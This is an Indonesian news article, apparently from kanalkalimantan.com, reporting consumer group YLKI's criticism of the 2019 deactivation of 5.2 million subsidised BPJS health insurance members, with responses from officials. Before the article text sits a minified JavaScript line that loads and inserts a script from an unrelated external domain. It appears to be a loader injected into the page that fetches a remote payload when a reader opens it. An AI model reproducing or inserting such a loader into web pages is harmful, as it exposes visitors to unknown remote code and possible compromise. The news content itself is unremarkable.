(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Yayasan Lembaga Konsumen Indonesia (YLKI) menyoroti langkah pemerintah menonaktifkan kepesertaan 5,2 juta anggota penerima bantuan iuran atau PBI Jaminan Kesehatan mulai 1 Agustus 2019. Ketua YLKI Tulus Abadi mengatakan pemerintah terlampau buru-buru mengambil keputusan.
Tulus juga menganggap kebijakan pemerintah tidak dibarengi dengan sosialiasi yang matang sehingga menyebabkan aksi protes. Ia pun memandang, kebijakan ini berisiko memangkas hak warga miskin.
“Risikonya paling ekstrem masyarakat yang sebenarnya masih berhak menerima PBI tapi menjadi dicabut, sehingga terjadi pelanggaran hak warga miskin yang di-cover negara menjadi tidak di-cover,” ujar Tulus dalam konferensi pers di kantor BPJS Kesehatan, dilansir tempo.co.
Selain itu, Tulus memandang upaya pemerintah kali ini tidak cukup transparan. Pemerintah, dalam hal ini Badan Penyelenggara Jaminan Sosial atau BPJS Kesehatan sebagai operator, dinilai tidak berupaya menjelaskan informasi kepada masyarakat.
BPJS Kesehatan baru mengumumkan adanya penonaktifan 5,2 juta anggota PBI berdekatan dengan tenggat pemberlakuan kebijakan. Ia pun menyayangkan masyarakat tidak dilibatkan dalam memformulasikan penonaktifan kepesertaan tersebut. “Memang maksudnya bagus supaya tidak salah sasaran. Namun, dari sisi hak, anggota PBI (yang kepesertaannya dinonaktifkan) perlu waktu dan jeda,” ujarnya.
Tulus mendesak Kementerian Sosial dan BPJS menggelar posko di dinas sosial daerah untuk melayani peserta yang namanya dicoret dari kepesertaan PBI. Posko ini berfungsi untuk mengarahkan peserta.
Penonaktifan 5,2 juta peserta PBI BPJS Kesehatan itu menindaklajuti terbitnya Surat Keputusan Menteri Sosial Nomor 79 Tahun 2019 tentang penonaktifan dan perubahan data peserta penerima bantuan iuran jaminan kesehatan. Staf Khusus Menteri Sosial Febri Hendri mengatakan Kemensos tengah melakukan pemutakhiran data bersama pemerintah daerah belakangan.
“Sehingga ada pembaruan data terpadu fakir miskin dan orang tidak mampu,” ujarnya. Dari 5,2 juta peserta yang namanya dicoret dari PBI, 114 ribu jiwa di antaranya tercatat telah meninggal dunia. Sedangkan peserta lainnya yang dinonaktifkan ialah mereka yang sejak 2014 tidak pernah mengakses layanan kesehatan ke fasilitas kesehatan yang telah ditentukan.
Kepala Humas BPJS Kesehatan M. Iqbal Anas Maaruf memastikan jumlah kepesertaan PBI tidak berkurang kendati ada upaya penonaktifan. Ia mengatakan BPJS Kesehatan akan langsung mengganti peserta lama dengan peserta baru yang masuk daftar Data Terpadu Kementerian Sosial atau DTKS.
Iqbal mengatakan, peserta yang telah dicoret dari PBI bisa langsung mendaftarkan diri sebagai peserta BPJS mandiri atau pekerja bukan penerima upah atau PBPU. “Bisa langsung urus tanpa harus melalui masa pendaftaran 14 hari seperti umumnya,” ujarnya. Keringanan urusan pendaftaran ini berlaku sampai 31 Agustus 2019.(tmp)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.